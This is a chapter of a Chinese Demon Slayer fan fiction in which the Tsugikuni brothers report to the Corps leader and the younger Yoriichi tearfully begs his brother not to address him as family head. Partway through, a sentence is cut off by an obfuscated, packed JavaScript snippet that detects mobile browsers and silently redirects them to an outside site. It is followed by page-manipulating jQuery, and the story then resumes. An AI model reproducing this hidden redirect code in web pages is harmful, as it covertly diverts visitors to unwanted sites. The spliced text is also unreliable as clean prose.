33.第 33 章
作品:《[鬼灭]拐跑六岁的兄长》 【缘一变成哭哭小熊】
珠世的藏身之处被鬼发现,无法再继续居住于此,她打算立刻就搬离此地。
珠世看向成年缘一,深深地鞠了一躬。
“四百年前分别太过匆忙,未能感谢缘一先生。如今又得您所救,必会铭记在心,感戴不忘。”
“珠世小姐不必如此。消灭无惨是我们共同的目标,未来还需仰仗你的医术来拯救变鬼之人。”
珠世的话是对缘一说的,帮着缘一回答的是岩胜。
明明是两个人的对话,却愣是插.入了第三个人。
岩胜一时之间都不知道究竟是自己多余还是缘一多余……
岩胜能感到缘一的视线一直落在自己身上,这本是常见到已经可以忽略掉的现象,这会儿却又鲜明地感觉到了。
是他身上有什么不对吗?
与珠世约定好收集血液的方法、联系的方法,几人不再拖延,收拾干净现场便分道扬镳。
=
“你们终于回来了。”
有一郎听到隔壁房间有动静,打开门果然看到了他的同行者们表情凝重地回来——只有岩胜表情凝重。
岩胜皱着眉头,见到有一郎先将情报共享给他,“炭治郎遇到了鬼舞辻无惨,被他逃走了。”
“什么?”有一郎眼睛都睁大了,恨不得立时拔刀就去追人。
“异动已经找到,我们可以回去了。”
有一郎震怒:“就这么放跑无惨?!”
炭治郎手忙脚乱地解释道:“他在人群中,等于还挟持了普通人做人质,我们动不了手。”
若是将无惨在逃跑之后就立刻找鬼来杀炭治郎的事情告知有一郎的话,或许有一郎能好接受很多吧。
他们会跟着炭治郎本就是因为主公大人模糊的预感,说会有“异动”,见到鬼舞辻无惨无疑是最大的异动了。
何况还见到了珠世,续上了400年前的约定。
想来也符合异动的条件,要不是根据珠世的约定不能告知鬼杀队,或许光是见到不吃人的鬼就足够让人震惊了。
之后收集血液的工作,主要由炭治郎与岩胜进行。
毕竟缘一的日之呼吸对收集样品工作不太友好。
而有一郎吵着想要和无一郎一同出任务,珠世未曾见过他或者特意将他拦在了门外,对有一郎的信任有限。
这种情况下还要双方配合收集材料,也未免太难为人了,不如还是让互相信任的人来做。
休息一晚,他们打道回鬼杀队总部。
三天后,鬼杀队总部产屋敷宅邸中,几人再度见到了鬼杀队那位没什么架子的当主。
“是吗,变装很成功的样子。”
听到几人的汇报,产屋敷耀哉居然先夸奖了他们成功的变装。
他还有一只眼睛能看见,见到继国缘一变装之后的模样,笑得很是“慈祥”。
那样子看着不像是400年后的“子孙”辈,反而像是继国兄弟的长辈似的。
和大永时期的鬼杀队主公颇有几分相似之处。
岩胜难得地走了神,想到成年后的自己会杀死鬼杀队的主公,心中一片茫然。
战国时代四处战乱不断,下克上的风气横行,武士改投他家或是自立门户的不在少数。
正因如此,继国家为了维护统治的稳定,对上下尊卑的制度维护非常严苛。
若非成年缘一插一手,岩胜作为双胞胎中的哥哥,应该会顺利成为家主。
无论是家主的身份,还是兄长的身份,缘一都会对他绝对服从。
同理可得,进入鬼杀队后,岩胜也应该对“主公”绝对服从。
除非,“岩胜”从一开始就没有视鬼杀队为自己的归属,而是有其他目的。
【缘一说我是为了杀鬼而进入鬼杀队,这点存疑啊……】
或许杀鬼是真,但应该还有其他理由。
走神了一会儿,岩胜就听到上首的产屋敷耀哉问道:“收集鬼之血液的事情就拜托岩胜了,可以吗?”
他不知道产屋敷是怎么知道他们与珠世的约定的,明明也没人提起。
既然将他们本就要做的事情作为任务发布,那他也没有拒绝的理由了。
“了解。”他微微一礼便接下了任务。
“兄长大人,缘一想要与兄长大人一同执行该任务!”
成年缘一用面无表情的脸说出焦急的话语,让岩胜有种微妙的违和感。
【啊,好像是之前走神的部分里,主公提到了让缘一留在总部之类的话。】
“缘一……”
兄弟二人的沟通尚未结束,产屋敷耀哉就微笑着说道:“鬼杀队这段时间不会给几位安排任务,诸位的一切行动以自己的想法进行即可。”
这不就是“你们怎么安排不关我产屋敷的事”的推脱之语嘛。
明明也可以让缘一去保护炭治郎啊,无惨都特意去杀他了。
岩胜将凑上来的成年弟弟的脸推到一旁,强撑着笑容表示明白。
此事便这么定了下来,有一郎心满意足地回到与弟弟一同出任务的日常中,而继国兄弟的工作则以收集血样为主,如何分配自行决定。
所以一离开主公宅邸,缘一就一直缠着岩胜要求一起出任务。
不仅仅是成年缘一,连少年缘一也来凑热闹。
“兄长大人,请带我去吧——”
岩胜睁大了眼睛,发现与自己同龄的家主大人似乎正在学习动物幼崽。
睁大了眼睛,可怜兮兮地看着自己。
【这一定是在做梦。】岩胜绝望地想道:【继国家的家主绝不可能是这样的。】
他双眼无神地望了一眼天空,而后指挥成年缘一,“缘一你先出去,我要和家主大人谈一谈。”
成年缘一似乎想说什么,但还是什么都没说地离开了,那如无波水面般平静的眸子中似乎透露出了……些许同情?
房门轻轻关合,岩胜转头看向少年缘一。
穿上紫色羽织的缘一多少有些武士家家主的架势了,可表情怎么像是要哭了。
岩胜尽职尽责地提醒道:“家主大人,请注意仪态。”
这一次,红色的眸子真的被水浸透了。
几乎是瞬间,便如同开了闸了水渠一般,那眼中的泪水唰地就流成了瀑布。
岩胜震惊,缘一不是第一次在他面前哭。
但之前是缘一哭着说不想和不认识的人联姻,再之前则是成年缘一说起成年岩胜变成鬼时。
现在难道是和这两次相似的情况吗?
这次甚至哭得还更凶一些……
明明只是一个任务安排而已,总不能是因为提醒缘一要注意仪态吧?
岩胜心中暗暗吸了一口气,决心这次一定要让缘一产生“自己是家主”的自觉。
他挣脱缘一的手,向后退了半步,曲起单膝,跪了下去。
“家主大人……”
连称呼都没有说完,确切说,岩胜的膝盖都没有触地,就被一个温暖的人体撞了个正着。
岩胜惨遭泥头车撞击,扑通一声仰面倒在了地板上。
榻榻米还算柔软,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920575|191776||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但这一撞却是让岩胜懵了好久。
毛茸茸的黑发糊在他脸上,发丝上还带着染发剂的味道,是一种混杂着苦涩的,被阳光晒过的青草气味。
有什么温热的液体流到了脖子上,带来了些许痒意。
岩胜想要劝谏,“家主”的发音都没说全,抱着自己的怀抱猛地收紧。
他一时不察,只觉肋骨被勒得生疼,不由倒抽一口冷气。
“嘶——”
怀抱松了松,复又抱了上去,这一次力量轻了许多,但仍是固执地抱着。
缘一就这么紧紧贴着岩胜,抽泣时的动作都能清晰地传递过来。
不说是为什么,又不让他开口。
只这么抱着他,不让他动,岩胜也是很无奈了。
两人就这么僵持着,岩胜呆呆地看着天花板,回忆这段时间他们的相处。
有成年缘一在,需要动手的事情很多都不需要少年的他们出手。
岩胜在努力改进月之呼吸法,试图将之调整到能与日之呼吸相媲美。
而少年缘一应该也有自己的事情做吧,他的剑技与成年后相比远远谈不上“强”。
岩胜承认,自己没能尽臣下之责,没怎么关注家主的动向,也没有一直提醒缘一保持仪态。
这确实是一种失职。
可回头想来,他已经离开了继国家,即便再怎么想尽责……
不说家老和族中其他人怎么想,光是母亲大人也不会接受他吧。
家主的兄长回归,难道不是一种夺权的信号吗?
这么一想,岩胜便也熄了回家看看的念头。
他可没兴趣掺和武士家族的权力斗争。
何况,他还在追逐剑道的道路上,未曾走到终点,又哪来回头的道理。
只是现在家主正在自己身边,他才想着劝谏一二,略尽绵薄之力罢了。
也算是他作为继国之子少数能做的……
岩胜垂眸,手轻轻安抚弟弟的背脊。
与他同龄的弟弟,即便成了家主,心性仍是少年。
所以,这次是为什么哭?
甚至不让他问出口……
他又该如何是好呢?
岩胜的目光偏移,落到已经关紧的障子门上,疑惑地想着:【成年后的我和缘一是怎么相处的?】
或许沟通也不太顺畅吧,不然未来的自己又为何会变成鬼,而成年缘一甚至一无所知呢?
岩胜眉头蹙起,长长叹了一口气。
缘一猛地一颤,这才像是知道自己犯了错似的,缓缓地松开手。
他坐起身时,眼角还挂着泪珠,紧抿着唇。
岩胜闭了闭眼,再度试图开口,“不管是因为什么原因,家主大人请先起来吧。”
缘一用力摇头,马尾辫乱甩,泪水又落下。
他紧紧抓着岩胜的衣襟,压抑着情绪的声音中泄漏出些许哭腔:“兄长大人,求你了,不要叫我‘家主大人’。”
他从岩胜的身上退开,随后右膝触地,跪了下来。
“兄长大人,缘一永远是兄长大人的缘一。”
岩胜了然:【啊啊……是这样啊……】
缘一本就不想做家主,没有家主的自觉也就罢了,还一门心思地觉得岩胜才应该是上位者。
可,这又有什么用呢?
同样相貌的少年人跪在他面前,也无法改变他们的地位已然不同的事实。
岩胜默默坐起身,从这个角度,刚好能看到缘一默默落泪的脸。
【我们……是怎么变成现在这样的呢?】

